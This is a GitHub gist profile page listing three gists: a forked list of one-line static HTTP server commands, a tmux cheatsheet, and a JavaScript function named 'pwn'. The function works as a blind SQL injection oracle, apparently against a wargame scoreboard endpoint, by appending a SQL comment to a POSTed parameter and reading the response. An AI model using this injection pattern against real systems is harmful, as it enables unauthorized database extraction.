Skip to content

Instantly share code, notes, and snippets.

View l0vey0u's full-sized avatar
๐Ÿ‡ฐ๐Ÿ‡ท
Focusing

Deokho Jeong l0vey0u

๐Ÿ‡ฐ๐Ÿ‡ท
Focusing
View GitHub Profile
@l0vey0u
l0vey0u / web-servers.md
Created January 27, 2020 14:45 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

function pwn(params){
var http = new XMLHttpRequest();
var url = "/game/stats.php?action=psolve";
http.open("POST", url, false);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send("action=showpsolve&problem_no="+params+"-- -");
if(http.response.indexOf("you wanna be first") == -1){ return true; }
else return false;
}